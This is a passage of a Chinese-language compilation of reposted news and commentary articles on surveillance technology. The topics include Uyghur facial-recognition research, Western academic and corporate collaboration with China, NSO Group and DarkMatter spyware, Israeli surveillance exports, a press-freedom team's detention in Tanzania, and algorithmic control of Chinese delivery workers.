他说："由于先发制人的种族特征被广泛使用，这违反了个人无罪推定和其他权利的推定，这项研究很可能会对中国的少数民族产生严重的不利影响。"

Leibold 也注意到，那些学生的脸被拿去做研究、写论文，根本没有提及同意、知情或其他方式。

"在中国，道德规程并不那么严格，参加大连民族大学项目的少数族裔学生很可能没有完全意识到他们的脸被如何使用了，以及对自己社区所产生的深远影响。"

该论文的作者 Witold Pedrycz 和 Wiley 没有回复对本文的评论请求。

澳大利亚科廷大学 —— 合著者 Wan Quan Liu 是该校计算机科学系的副教授，也与其他中国人共同撰写了其他有关种族识别技术的研究。去年底科廷大学宣布正在审查其研究批准程序，因为记者透露了刘开发的AI技术在更好地识别中国少数民族方面所发挥的作用。但没有结论。

西方学术界在中国

Wiley 的杂志并不是中国以外的学界第一次欢迎用来压迫维吾尔人的人脸识别技术的论文。

早在2017年，来自新疆大学教授的一项研究表明，学校的信息科学与工程学院已开始建立一个名为 XJU1 的面部识别数据库，其中包含"至少" 800名维吾尔族和哈萨克族的 "志愿者"。

参与者的脸将以不同的角度和不同的照明条件被捕获（这是长期困扰精确面部识别的问题），以 “测试各种基准算法”。

这份由中国政府科学基金会资助的论文是由美国电气与电子工程师协会（**IEEE**）在美国在线"发表的"，该协会是美国专业协会，在**160**多个国家/地区拥有**40**万名会员。

该论文还在新加坡机器视觉和信息技术国际会议上发表。

人权研究人员得出的结论是，维吾尔族和哈萨克族是中国新疆镇压中心的两个主要少数民族。

XJU1面部识别数据库背后的同一所学校，即 新疆大学信息科学与工程学院，与中国蓬勃发展的生物识别技术行业有着紧密的联系。

2018年八月，该校主办了中国最大的生物特征识别学术会议，中国生物特征识别会议或 "CCBR 2018"。

大会的组织者、中国政府支持的两个AI研究实体，在艰难的时刻选择了新疆。在大会召开的前几个月，人权观察组织对新疆使用生物识别技术提出了警告，称当局正在建立一个称为 “联合行动平台” 的系统，该系统可对少数民族进行系统性监视，收集的个人数据被用于将公民拘留。这其中面部识别是至关重要的工具。

所有这些并没有阻止 **Springer Nature**（总部位于伦敦和柏林的学术出版巨头）被列为 **CCBR 2018** 的 “技术赞助商”，也没有阻止其将会议的所有论文发表在其"网站"上。

这也没有阻止三名美国杰出的面部识别研究人员飞往中国新疆首府乌鲁木齐，在会议上发表主题演讲。

密歇根州立大学生物识别研究小组的负责人 Anil Jain 经常被引用在《 Wired》和《 Slate》等杂志关于美国面部识别的问题上，他是 CCBR 的顾问委员会成员，并且获得了荣誉证书。

前微软高级研究员 Gang Hua 和伦斯勒理工学院教授 Qiang Ji 都发表了演讲。在会议的网站上，所有人都被列为“特别嘉宾”。

没有研究人员回应对此次旅行的评论请求，也没有人提及他们在网站上参加会议的情况。

尽管这次 CCBR 会议没有解决维吾尔人的面部识别问题，但是，讨论

了其他监视技术。

新疆警察学院和新疆大学的研究人员发表的一项研究说，它发现了一种新技术，可以找到隐藏在与“极端宗教和恐怖主义信息”有关的图像中的“有害文字信息”。

这些工具已经在新疆被滥用。当记者对新疆警察应用程序进行反向工程时，他们发现，该应用程序正在自动扫描智能手机中的一切。见：

- 《中国迫使游客安装监视恶意软件》

由北京公安部研究人员撰写的另一篇在 CCBR 上发表的论文分析了如何避免绕过或欺骗警察虹膜扫描的各种方法，并指出“2017年，新疆维吾尔自治区开始收集各种生物识别信息，包括虹膜。”

据报道，拒绝服从虹膜扫描可能会导致维吾尔人和其他少数民族人被送往再教育营。

CCBR 曾经解决过维吾尔人的面部识别问题，而不仅仅是在乌鲁木齐会议上。在2016年成都会议上，他们就发表了一篇题为《使用深度卷积神经网络的面部种族分类》的论文，发现了新的更好的方法来识别维吾尔族人。

总部位于伦敦和柏林的学术出版巨头 Springer Nature 发言人表示，该公司与 CCBR 会议程序签订了出版合同，还支持乌鲁木齐会议的最佳论文奖。

“ CCBR 作为专注于生物识别研究的高质量技术会议而享有盛誉，会议为公开讨论和参与所有研究提供了重要平台”，该发言人说。

学术与伦理

迄今为止，社交媒体对 Wiley 研究的抨击一直是学术界公众反对此类合作的少数迹象之一。至少有些人已经开始公开发言。

加拿大的计算机科学助理教授 Dave Churchill 在5月发布的推文中说：“中国政府实际上是在使用AI来追踪穆斯林并将他们安置在集中营中。但是**AI**研究人员不会大声说出来，因为他们担心自己的引文计数和受邀演讲的机会”。

Churchil 说，主要问题是，风险显然超过了收益。他说：“实际上，就算是明确说出来也几乎没什么用，尤其是对付中国共产党之类的

事，万一输掉只会使事情变得更糟。”

中国研究人员和公司对AI伦理学进行了更多讨论，但是，这一领域的出现不太可能阻止大数据驱动的自动化镇压。

乔治敦大学安全与新兴技术中心的客座研究员 Lorand Laskai 表示，这类讨论通常会避开少数人甚至个人权利。

Laskai 说：“在最近关于人工智能伦理和规范的辩论中，中国学者表示，中国价值观意味着中国将重视集体的安全性，而不是个人的权利。我认为这已经表明了中国对**AI**伦理的态度。” ○

Western Academia Helps Build China’s Automated Racism

原文

谁在帮中国 - iYouPort

作恶者：谁在帮中国

IYP 一个栏目的名字就是”作恶者：谁在帮中国”，其中收录的信息显示，地缘政治真的不是他表面看起来的那样。本报告属于”再添一笔”。这次被添加的是谁？

「图」

「图」

科技巨头微软一直在与一所中国军事大学进行人工智能研究合作，最近有报道称该研究可用于监视和审查。

科技巨头微软一直在与中国军事大学合作研究AI。据英国“金融时报”报道，这可用于监视和审查。3月至11月期间，共发表了三项科学研究，这些研究由北京微软亚洲研究院的学者共同撰写。参与这项研究的其他研究人员与中国国防科技大学（NUDT）有着密切的联系。

新美国智囊团高级研究员和中国技术专家 Samm Sacks 评论了微软与中国军事大学之间合作的可能性问题，并指出，最近发表的论文因为其主题技术的敏感性质而引发了“危险信号”，加之我们对中国如何部署这项技术的了解。“ Sacks 补充说：“[中国]政府正在利用这些技术建立监控系统并拘留少数民族人口[在新疆]。”

外交关系委员会网络空间政策主任 Adam Segal 对此次合作发表评论说：“由于联邦调查局专注于学生和科学家以及国防部的间谍威胁，美中学术伙伴关系日益显现。 [侧重于]前沿技术可能最终进入解放军[中国军方]的可能性。“

麻省理工学院最近切断了与中国电信集团华为的联系，并开始对其中国项目进行“高风险”审查程序，表明对中国技术和监控问题的审查越来越严格。

令人担忧的是，微软研究人员最近与 **NUDT** 合作开展的一些项目有

直接的监控用例。其中一篇由微软和 NUDT 研究人员共同撰写的论文研究了一种新的A.I. 通过分析专家认为可直接应用于监视的人脸来重建详细环境地图的方法。

华盛顿大学 AI 教授 Pedro Domingos 评论这些申请时说："假设我是一个情报机构，我有感兴趣的人的照片; 我就可以使用这个系统来描述他们所处的任何地方，因为他们没有意识到自己已经暴露了。"

微软研究人员与 NUDT 研究人员合作的其他论文涉及机器学习，这是一个可以用于审查的技术领域。中国军事技术专家兼智囊团新美国安全中心的研究员 Elsa Kania 在这方面评论说："机器阅读可以用于审查，这是中国政府的利益。他们将自然语言处理视为实现大规模审查的一种方式。"

微软评论了这个问题，称其"通常是学者的研究人员与来自世界各地的顶尖学者和专家进行基础研究，以促进我们对技术的理解。" 该公司补充说："在每种情况下，研究都遵循我们的原则，完全符合美国和当地法律，并且 ……确保透明度，以便每个人都能从我们的工作中受益。"

没错，每个人都受益了，尤其是那些专制政权，他们一直都热衷于监视审查。

Tech giant Microsoft has reportedly been working on artificial intelligence research with a Chinese military-run university, recent reports claim that the research could be used for both surveillance and censorship.

原文

一个新的战争时代：互联网雇佣军如何为威权政府而战 - iyouport

以色列和NSO-间谍产业的领主

【2019年6月26日存档】美国培养的黑客正在作为互联网雇佣兵帮助威权政府打击异议人士和政敌，以及发起各种邪恶的网络间谍战，这是怎么回事？

作为沙特阿拉伯残酷的异见压制行动的负责人，他当时在想办法监视那些在他看来对王国构成威胁的人。他知道上哪儿去找：一家行事隐秘的以色列公司，可以提供由前情报人员开发的技术。

那是2017年底，沙特·卡塔尼 (Saud al-Qahtani) 当时是手握重权的沙特王储的高级顾问，他正在全世界追踪沙特异见人士，这一大范围监控行动最终导致了记者贾迈勒·卡舒吉 (Jamal Khashoggi) 的被害。在与这家名为NSO集团的公司的雇员交流时，卡塔尼谈及在诸如土耳其、卡塔尔、法国和英国等整个中东和欧洲地区使用其监控工具的庞大计划。

沙特政府如此依赖几十年来的宿敌以色列的一家公司，让我们得以窥见一个数字战争的新时代。这个时代几乎没有规则可言，是一个日益增长、如今已价值120亿美元的经济体，而间谍则是收钱办事。

如今，即使是最小的国家也能购买数字间谍服务，这使它们得以实施曾一度专属于美国和俄罗斯这类大国的电子窃听或影响力行动。想调查竞争对手机密的公司，或对某个对手心怀不满的富有人士，也能出一笔钱发起情报行动，就好比国家安全局（**National Security Agency**，简称**NSA**）或摩萨德**(Mossad)**有公开发售的服务。

NSO 及竞争对手阿联酋公司“暗物质”(DarkMatter)是私营间谍行动普及的例证。基于对效力于政府和私企的现任和前任黑客的采访，以及对相关文件的梳理，《纽约时报》一项持续数月的调查揭露了这个数字战斗世界中的一些秘密冲突。

这些公司不仅让政府可以对恐怖组织和贩毒集团这类犯罪分子进行黑客攻击，某些情况下还能满足比较见不得光的意图，瞄准活动人士和记者。由美国间谍机构所训练的黑客将美国商业人士和人权工作者揽入网中。效力于“暗物质”公司的网络雇佣兵会将婴儿监视器变成一台间谍设备。

据知情人士透露，联邦调查局(FBI)目前正在就潜在的网络犯罪对暗物质现任及前任美国员工展开调查。据路透社报道，在一名曾就职于该公司的前NSA黑客对其活动日益担忧，并联系了FBI之后，调查的力度开始加大。

这一全球高科技战场的迅速扩张，已促使人们对未来的危险与混乱状况发出警告。

“哪怕最小的国家，都能用很低的预算获得进攻能力，”或者发起对敌手的网络攻击，网络安全公司Adlumin创始人罗伯特·约翰斯顿(Robert Johnston)说，他也是俄罗斯2016年黑客攻击民主党全国委员会(Democratic National Committee)一案的关键调查人。

此前，NSO曾帮助沙特政府跟踪其在国境之外的敌手，还帮助墨西哥政府猎捕过大毒枭，并通过在六大洲为几十个国家提供服务获利数亿美元。这家公司由以色列北部两个高中时期的朋友建立。

凭借相当于NSA的以色列情报部门8200部队(Unit 8200)毕业生开发的技术，沙莱夫·胡里欧(Shalev Hulio)和奥姆里·拉维(Omri Lavie)于2008年创立了一家公司，其业务是协助手机公司对顾客设备进行远程控制以便维护。

消息传到了西方间谍服务机构那里，其情报人员看到了商机。当时，美国和欧洲官员正发出警告，称苹果、Facebook、谷歌及其它技术巨头在研发能使犯罪和恐怖分子通过情报及执法机构无法破译的加密渠道进行沟通。

胡里欧和拉维主动提供了绕过这一问题的办法：通过在通讯数据被破译后，对通讯系统的终端即手机发起黑客攻击。

到2011年，NSO已研发出第一代原型，他们把这款移动监视工具称作“珀加索斯”(Pegasus)。NSO的工具能做到看似不可能的事情：在空中不留痕迹地从智能手机收集大量先前无法访问的数据—— 包括电话、文本、邮件、联络人、位置及经由 Facebook、WhatsApp 和 Skype 这类应用程序传输的任何数据。

“一旦这些公司入侵你的手机，他们就占有了它。你只不过是把它带在身上而已，”以色列网络防务公司“凯梅拉技术”(Kaymera Technologies)的阿维·罗森(Avi Rosen)谈及NSO及其竞争对手时说。

该公司不久便有了珀加索斯的第一个客户：正开展毒枭打击行动的墨西哥政府。根据时报所获得的邮件，截止2013年，NSO已帮三家墨西哥机构安装了珀加索斯。这些邮件显示，该公司估计已总共向墨西哥政府售出价值1500万美元的硬件和软件。墨西哥当时给了该公司约7700万美元，用以追踪多个目标的一举一动，及其手机的每一次使用。

NSO的第一个客户墨西哥政府还利用黑客工具达到更黑暗的目的——进行更广泛的政府和行业监控。根据时报调查，政府使用**NSO**的产品追踪了至少**20**多名记者、政府批评者、调查**43**名学生失踪案的国际调查人员，甚至包括一项汽水税的支持者。

这些目标受到一系列含有恶意软件的骚扰短信攻击。一些短信警告说，他们的配偶有外遇，还有的短信说他们的亲戚去世了。

NSO表示其服务是面向刑事和反恐调查的，但已知成为目标的墨西哥人中无人涉嫌刑事或恐怖主义调查。

“NSO技术协助在全球范围内阻止恶性犯罪和致命恐怖袭击，” 该公司在一份声明中表示。“我们不会容忍我们的产品遭到滥用，我们会定期审查和评估合同，以确保它们不会被用于预防或调查恐怖主义和犯罪之外的任何用途。”

NSO现任和前任员工表示，由于土耳其在人权方面的糟糕记录，公司不会向该国出售产品。

但土耳其的这项世行指数高于墨西哥和沙特阿拉伯，后两个国家却都是NSO的客户。以色列国防部发言人拒绝回答有关该公司的问题。NSO从外国政府获得的任何合同都需要以色列国防部的授权。

据穆迪(Moody)估计，合法拦截间谍软件市场价值120亿美元，越来越多的公司希望在这个市场中复制NSO的成功并与其竞争，展开了激烈的争夺，竞相从拥有世界最精密情报机构的美国、以色列和俄罗斯雇佣退伍军人，彼此间也在互相挖人。

暗物质公司起源于另一家名叫 CyberPoint 的美国公司，该公司多年前赢得了阿联酋的合同，帮助该国抵御电脑攻击。CyberPoint 获得了

美国政府颁发的为阿联酋工作的许可证，这是监管军事和情报服务出口的一项必要举措。该公司的许多员工曾参与美国国家安全局和其他美国情报机构的机密项目。

但是阿联酋人野心勃勃，一再敦促 CyberPoint 的员工越过该许可证的权限。阿联酋情报机构曾要求 CyberPoint 破解加密代码，并侵入位于美国服务器上的网站，但因这些行动违反美国法律而遭到 CyberPoint 拒绝。

因此，阿联酋人在**2015**年成立了暗物质公司—— 一家不受美国法律约束的公司—— 并吸收了 **CyberPoint** 至少**6**名美国员工加入。马克·拜尔**(Marc Baier)**曾是美国国家安全局负责高级攻击性网络行动部门的官员，后来成为该公司高管之一。

《纽约时报》获得的一份雇员名册显示，暗物质还雇佣了其他几名前美国国家安全局和中央情报局官员，其中一些人年薪达到十万美元。

“过去的假设是，当你离开国家安全局时，你再也不会做那种进攻性的工作了。现在，显然，它有一个庞大的市场，“安全专家 Johnston 说。他曾在军队的网络司令部工作，该司令部与国家安全局密切合作，同时在海军陆战队任职。

暗物质实际上是一支国家武装，曾与阿联酋情报人员直接合作，执行过许多任务，比如对土耳其、卡塔尔和伊朗的政府部门进行黑客攻击，以及对阿联酋境内持不同政见者进行间谍活动。据前雇员称，除了侵入外国政府部门，暗物质还侵入了 Gmail、雅虎(Yahoo)和 Hotmail邮件账户。

该公司和阿联酋政府发言人均未回应置评请求。当被问及该部是否给在暗物质工作的前以色列情报人员发放了许可时，以色列国防部发言人拒绝置评。拜尔的律师同样拒绝置评。

美国国家安全局发言人格雷格·朱利安(Greg Julian)说，该机构的现任和前任雇员终身有义务保守美国的机密。

在一项未事先报道的行动中，一名 DarkMatter 子公司开始大规模拦截卡塔尔的蜂窝通信，偶尔会在2015年底捕捉到美国人在监控网络中的通信。一位负责该项目的美国人表示，他对上司表示担忧，包括前中情局官员负责这项工作。美国人和其他人一起被取消了项目并被要求签署一份保密协议。

DarkMatter 不仅收集了有关美国人的信息，第二位前雇员说，大多数案件还涉及为外国组织工作的美国人—— 包括人权组织—— **DarkMatter** 针对他们是因为他们批评了阿联酋政府。

DarkMatter 特工偶尔会收集申请在这些组织工作的美国人的护照信息、申请或简历。线人 Lori Stroud 表示，她已经开始关注该公司对美国人的监视。后来她和其他几位美国人一起离开了这家公司，因为他们无法确定 DarkMatter 是不是故意针对公民。据前公司员工说，很快，联邦调查局特工就开始阻止其美国籍员工进入美国并向他们询问 DarkMatter 的运营情况。

由华盛顿检察官办理的美国司法部案件侧重于网络欺诈和向外国转移间谍技术时可能存在的非法行为。但检察官们面临着一些不利因素，包括对危及美国与阿联酋关系的外交顾虑，以及担心追究此案可能会暴露有关暗物质同美国情报机构合作程度的尴尬细节。

现实是，美国用来管理数字战争新时代的法律是模糊、过时的，没有足够能力应对快速的技术进步。

“有很多人正在进入这个竞技场，他们都是新人，不遵守同一套规则，”数字安全公司卡巴斯基实验室(Kaspersky Lab)首席安全研究员布赖恩·巴托洛缪(Brian Bartholomew)说。“这就像把军用级别的武器交到街上的某个人手里。”

A New Age of Warfare: How Internet Mercenaries Do Battle for Authoritarian Governments. Sophisticated surveillance, once the domain of world powers, is increasingly available on the private market. Smaller countries are seizing on the tools—sometimes for darker purposes.

原文

以色列的新技术如何彻底改变监视？ - iyouport

以色列和NSO-间谍产业的领主

【2018年12月18日存档】

这个以色列展位是有史以来第一个三维摄影展位，来自高科技公司 Photuro 和 Mantis Vision，包含22个摄像头和高品质照明。最先进的自助服务终端会在几秒钟内将精确的照片虚拟模型发送到您的智能手机。

“3D 相机包含所有深度信息，这意味着从图像本身就可以得到一个人的（精确）测量结果，”Mantis Vision 首席商务官（CBO）Shabtay Negry 向 The Media Line 解释道。“如果我用3D 捕捉你，我可以得到你的身高，你的体宽，手掌的厚度 等等—数据包含所有信息，我们可以高精度地收集所有尺寸。”

最先进的自助终端包含22个摄像头和高品质的照明。那些希望创建自己的化身的人只需填写表格，选择图像规格，进入展位，几秒钟内就会将准确的虚拟模型发送到他们的智能手机。

最多可同时拍摄五个人，该技术还使人们能够创建个性化的 3D 打印雕塑。虽然这些微型雕像价格高达 6 0至 600 美元，但虚拟模型只需12美元。虽然其他公司—— 例如美国的 Shapify 和日本的 Omote—提供类似的服务，但以色列的技术不同，为个人提供了对其虚拟图像的即时访问。

“如果你试图从其他公司获得你的数字模型，你会发现比这更困难，而且需要更多的时间，”Hakimi 指出。“我们的技术可让您在几分钟内以高质量接收图像。”

“（比方说）你有一个你想要逮捕的目标人的数据库。我们就可以用我们的 3D 相机创建一个 3D 数据库，可以捕捉任何想要（进入特定位置）的人，而不需要他们配合静止不动，“Negry 解释道。“（该技术）可以捕获面部和整个身体，并采取生物识别签名（基于此信

息）。”

但是很明显，在某些情况下，该技术可用于恶意目的。随着 3D 图像变得越来越复杂，例如，创建假视频片段有一天可能就像按下按钮一样简单。反过来，这可能会对“假新闻”现象产生更大的推动力。

总的来说，技术进步可能会模糊现实与虚构之间的界限，从而产生全新的人类互动形式，无论是产品还是彼此之间。

问题是，我们准备好了吗？

在这里看到视频：

○

原文

以色列的监视技术出口为什么不同？ - iyouport

以色列和NSO-间谍产业的领主

【2019年3月21日存档】很多国家都在出口危险的大规模监视技术，但这其中以色列与众不同。以色列有哪些特点？某些监视是以色列独创的吗？

华盛顿邮报记者 Jamal Khashoggi 在伊斯坦布尔遇害的事件表明，少数以色列公司在迫害人权活动家方面发挥着越来越大的作用。就如 Harvey Weinstein 试图让那些抱怨性骚扰的妇女保持沉默，以色列的监视技术公司是在帮助世界各地的威权政府维持其权力。以色列总理本杰明·内塔尼亚胡去年还就以色列在全球网络安全市场中的作用为主题发表了讲话。

“今天全球约20％的私人投资都流向了以色列，用于网络技术。我的目标是使以色列成为世界五大网络强国之一。我想我们达到了这一目的。并且我们实际上可以在此排名上更进一步。“

“纽约书评”中发表的一篇新文章揭示了以色列不断发展的网络监视技术领域，以及这项技术如何被出售给世界各国阴暗的政府。文章由 Antony Loewenstein 撰写，名为“Exporting the Technology of Occupation”。那么如此多的网络监视技术来自以色列的原因是什么呢？它如何影响我们的生活？

为了讨论这些问题，Antony Loewenstein 也加入了。安东尼是一名独立记者，也是《Disaster Capitalism: Making a Killing Out of Catastrophe》一书的作者。

他说：50年来，自从以色列开始占领约旦河西岸和加沙以来，自1967年以来，以色列在某种程度上已经完善了它所认为的监视和控制他们不想要的人口的想法，那就是巴勒斯坦人。因此，在过去20年中，通过各种方法—— 传感器、无人机、墙、障碍物以及其他手段—— 以色列各种公司和以色列政府都找到了管理他们不想要的人口的

方法。

他们是怎么做到的？尤其是内塔尼亚胡上位以来，主要是向世界各国出售这些监视技术和方法。而他们这样做的理由就是他们自己说的所谓“战斗测试”，就如武器和无人机在加沙地带进行的“测试”。过去10年里，加沙发生了三次重大战争。而销售这种设备和技术的公司表示，它们已经过了“战斗测试”。

在监视技术领域—— 这是一个在过去五年左右特别扩大的领域，有许多以色列人参与，大量安全分析人员曾经在一些最秘密的以色列网络监视技术领域工作，虽然他们将这种技术带到了私营部门，但与以色列国家关系仍然非常紧密。

因此，例如监控—监视某人的智能手机，无论是 iPhone 还是 Android 手机，甚至在你完全不会意识到的情况下就已经发生了。

还有无数的例子，不仅是 Jamal Khashoggi 的死亡。他在加拿大的同事，沙特籍持不同政见者，他的手机就被攻击了，使用的就是以色列人出售的技术。因此沙特人知道 Khashoggi 将要去哪里，以及他将会说些什么。因此，以色列在某种程度上利用了其数十年的占领经验，并将这种经验出售给了那些钟情于监视的国家。这个故事详见以下内容：

- 《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》
- 《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》

🔐 关于防御办法：

- 《你必须能熟练使用真正安全的工具》
- 《需要能了解最先进的技术是什么，以针对性防范》
- 《日常出门也要注意像敏感时段一样自我保护，这里是应该怎么做》

如果你看一下全球国防承包商前10名的排位，以色列就在其中。显然前10排名中还包括俄罗斯、美国，还有法国，和许多其他国家。没

错，他们都向专制政权出售武器化的监视技术。毫无疑问。所以在这个层面上以色列不是唯一的。

然而，以色列和美国特别推动了网络情报和监视技术。我认为，以色列在这一领域的经验部分地来自于我所说的多年占领，并通过使用这些技术来监测西岸的巴勒斯坦人以获取经验。以色列拥有非常复杂的监视技术，事实上，通常他们的技术，特别是在过去几年中，还被用于监控 Facebook 上的人。

人们通常只是因为在 Facebook 上写了一篇文章就被捕了。

监视社交媒体是以色列独创的吗？绝对不是。以色列是越来越的老大哥之一，尽管该国通过私人广告宣传他们的监视商品，但也作为“战斗测试”公开宣传。俄罗斯等其他国家也有多年的此类广告，并且经历与叙利亚阿萨德政权的斗争，也有人说他们现在已经在战斗中测试了相关武器和监视技术。因此，我认为在以色列的竞争角度上看，他们必须向越来越多的政权出售这类技术，否则他们将会落后。

而且，以色列也将这类技术的出售用于外交目的；内塔尼亚胡向许多专制政权出售武器和监视技术的原因之一就是试图获得外交支持。

例如，在过去的几年里，他正在推动在非洲市场占据更大影响力；就是那些正在杀害和监视自己公民的专制政权。以色列希望在联合国内为以色列提供更多支持，于是更多向非洲和其他地方的镇压政权提供武器和监视设备……每当联合国对以色列进行投票时，美国、以色列、密克罗尼西亚、也许还有澳大利亚都站在一起。他们希望在这一边拥有更多的国家。

像 Pegasus 这样的间谍监视技术可能像任何炸弹或导弹一样致命，正如我们在 Jamal Khashoggi 谋杀案中看到的那样。

我与之交谈的一些记者经常开玩笑说，事实上，目前最安全的交流方式是笔和纸。当然，现在对许多想要与世界各地沟通的人来说，这并不是很实用。但事实上有一个事实是不可否认的：通过任何类型的设备进行通信—— 电话、计算机—— 都不会做到百分百的安全。话虽如此，有一些应用程序，据我们所知，显然是安全的。但 Whatsapp 绝对不安全。事实上，我们知道，例如，沙特人利用以色列的技术来攻击持不同政见者的电话，但不是直接攻击其本人，而是攻击他的同事。也就是说，即便你自己做到了安全上网也可能并没什么用，你的朋友中如果有一位不注重安全，你和其他人都会受到牵连。

我认为，人们可以做的唯一的事就是加密。事实上，前美国国家安全局举报人爱德华•斯诺登（Edward Snowden）多年来一直在努力寻找开发安全手机的方法。这样的手机需要在不同的操作系统上，远离 Apple 和 Android。

所以记者和活动家，或者只是普通人，任何想要进行安全交流的人都应该非常清楚这一事实，即我们大多数人使用的现有技术几乎不可能100%安全通信，这是一个非常悲惨的现实。

Israeli Companies Sell Spy Tech They Perfected for Occupying Palestine; We speak to Antony Loewenstein, author of an article on “Exporting the Technology of Occupation.” He shows the growing connection between Israeli offensive cyber companies and mass surveillance in the service of authoritarian governments around the world

原文

真实的噩梦 - iyouport

以色列和NSO-间谍产业的领主

【2018年12月5日存档】审讯者吹嘘他们使用以色列的技术并声称他们仍然可以检索调查人员的数据……

Muthoki Mumo 和我是记者，也是保护记者委员会的新闻自由倡导者。我们开始对坦桑尼亚进行为期10天的访问，主要是作为一个事实调查团，以衡量 Magufuli 治下坦桑尼亚的媒体自由。我们没有什么可隐瞒的，甚至还收到了政府认可的新闻监管机构的邀请函。直到后来，有人敲开了我的酒店房门……

敲门的人是几个穿着便衣的男女，他们说要在那里进行定期移民检查。“哇哦你们那么多人，让我感觉自己像个罪犯”，我开玩笑说。但这不是玩笑！中国社会很多人都了解在酒店围堵人权律师的现象，坦桑尼亚也一模一样。这次被围堵的是国际权利组织的调查员。

记者谈到很多扼杀新闻自由的法律，包括“媒体服务法”，“网络犯罪法”，其中许多人因“侮辱”总统而受到起诉—— 以及针对博主的需要大量和无法负担的注册费的内容规定。保护记者委员会的调查员听到了有关报纸的停刊、被控煽动叛乱的记者、新闻编辑室被称为间谍等等事件。

许多人谈到去年11月21日自由撰稿人 Azory Gwanda 失踪，当时他正在调查法外处决事件。从那时起，再也没有听到过 Gwanda 的消息。许多记者都害怕他们自己会遭受同样的命运。恐惧和自我审查成为一种持续的阴影。

当调查人员还在那里时，一位直言不讳的 Magufuli 评论者和反对派议员 Zitto Kabwe 被捕并被指控“煽动”。然后，达累斯萨拉姆的州长保罗马卡多宣布成立一个特别工作组来追捕同性恋者，欧盟的高级外交官因其支持人权的立场而被召回（准确说是被驱逐出境）。

保护记者委员会的调查员在酒店客房被突袭，他们的护照和电子设备被查封，被禁止与律师和大使馆官员联系。调查人员被捆绑在一辆小

型货车的后面，所有窗帘都是封闭的，押送人员试图通过在 Dar 周围漫无目的地驾驶来迷惑他们。他们被带到了郊区的一所房间，那里有“坦桑尼亚人权捍卫者联盟新办公室的标志”。他们被带到楼上接受审讯，这些男人专门针对其中一位调查员 Muthoki，因为她是一个年轻的黑人女性，肯尼亚人。

调查人员们的手机和电脑被没收，被迫交出密码，以便审讯者可以访问设备上的内容。

Muthoki 根据记者保护协会的数字安全协议清理她的手机这一事实被视为完全可疑，她被指控“删除机密信息”。

⚠ 审讯者吹嘘他们使用以色列的技术并声称他们仍然可以检索调查人员的数据。

“My nasty encounter with Tanzanian repression” “They tried repeatedly to access my emails, but CPJ had changed my password to avoid unauthorised access. They boasted about their use of Israeli technology and claimed they could still retrieve our data.”

原文

“我要我的血汗钱”：全球资本主义的算法暴政在中国 - iyouport

关于中国社会

科技巨头的权力不受制约，将速度和效率置于人的生命之上

关于算法暴政，我们的 列表-1中有一个同名板块，您可以看到，如今所有人都 “困在系统里”。今年中国工人抵抗算法暴政的热潮恰好与全球同步。

1月，中国送餐平台 “饿了么” 的一名工人在东部城市泰州，给自己浇上汽油试图自焚，以抗议被扣留的收入。

在他试图换到另一个平台后，公司曾拒绝给他700美元（5000元人民币）左右的工资。这名男子浑身灰烬、三度烧伤，被拍到大喊 “我要我的血汗钱”，旁观者试图扑灭火焰。

此后，针对中国送餐应用的抗议活动更多了：据报道，3月，饿了么的竞争对手美团的数十名司机走上深圳街头，抗议一项威胁要降低他们工资的新政策。

自疫情爆发以来，送餐员的困境已经成为一个具有全球意义的问题。在这里看到《快递小哥的反抗：收集自己的数据检查算法暴政的剥削》。

在全球范围内，食品配送行业飞速膨胀；在中国，仅美团就在2020年1月至3月期间招募了45.8万名新司机。这种史无前例的扩张对企业来说是个福音，但是，也让配送员的生活变得更加艰难。

在中国，这引发了该国基于应用的快递行业的广泛反弹。去年秋天，人物杂志发表的一项病毒式传播的调查揭露了其内部运作的令人震惊的细节：算法如何设定不切实际的期望，司机如何轻易被解雇，以及伤亡和血腥的频率。

为了回应社交媒体上的公众愤怒，美团和饿了么宣布了新的政策——他们会给司机多5到10分钟的时间来送货。但他们并没有解决促成这种剥削的深层次的和结构性的问题，即：最大限度地提高竞争的有毒工作文化，以及使用越来越复杂的算法来跟踪、监控和管治员工的生活。

> 在中国，只有1%的送货员每月收入1,532美元，而超过一半的人月收入低于766美元。

在中国价值970亿美元的食品配送行业中，低层工人特别容易受到残酷的工作条件和剥削性管理做法的影响，原因有几个。

首先，整个行业被锁定在两个平台之间的竞争中。由科技巨头腾讯支持的美团控制了67%的市场份额；竞争对手阿里巴巴旗下的饿了么占据了31%的份额。在吞并了所有其他竞争对手（包括百度的配送服务）后，两家公司现在通过提供大幅折扣和削减成本来争夺客户。这有时会演变成公开的对立。

饿了么的司机被教导高喊口号“干掉美团，饿了么跟你拼了”。李开复在他的《AI超级大国》一书中写道，美团早期以培养“角斗士式创业”的策略而闻名，这种策略包括挖墙脚和发起抹黑运动，并部署了“让特拉维斯·卡兰尼克都脸红的战术”。

割裂式的竞争不仅植根于两家公司的文化中，而且还嵌入到每个平台的算法中。

美团的“超级大脑”和饿了么的“方舟”系统都是由收集到的关于个人用户、司机、及其送货的大量数据供给驱动的。牛津人类未来研究所的AI研究员 Jeffrey Ding 解释说，“收集的数据越多，算法[变得]越高效、越精确”。随着时间的推移，这些系统在分配任务、分配路线和优化交付方面变得更好。反过来，这又鼓励顾客点更多的外卖，促使工人的动作再快一点，并为平台提供更多的信息。然后，循环加速。在2016年，最长送达时间上限为1小时；到2018年，这一时间被缩减到38分钟。

为了进一步加快配送速度，平台还制定了游戏化的评价流程，用积分制奖励“有效”的员工，惩罚“低效”的员工。美团司机也被从“普通”到“王者”级别进行排名。司机如果没有达到配额，没有按时送货，或者得到差评，就会被罚款、扣分，并经常被迫赔偿公司。为了跟上不断缩小的送货窗口，司机经常超速、闯红灯、逆行。这一点，不出所料，是付出了人力成本的。2017年上半年，上海每两天半就有一名

快递司机死亡；2018年，成都平均每一天就有一名快递员受伤或死亡。

中国工人以“竞争”和“向上流动”为卖点。“在中国，送货工作并不被宣传为你做几个小时的副业”，丁解释说，“而是作为一种赚取大量金钱和快速致富的方式来宣传。”换句话说，努力拼搏，也许你会上升到“王者”的高度。但如果懈怠了，你就会被拉平，跌入低谷。

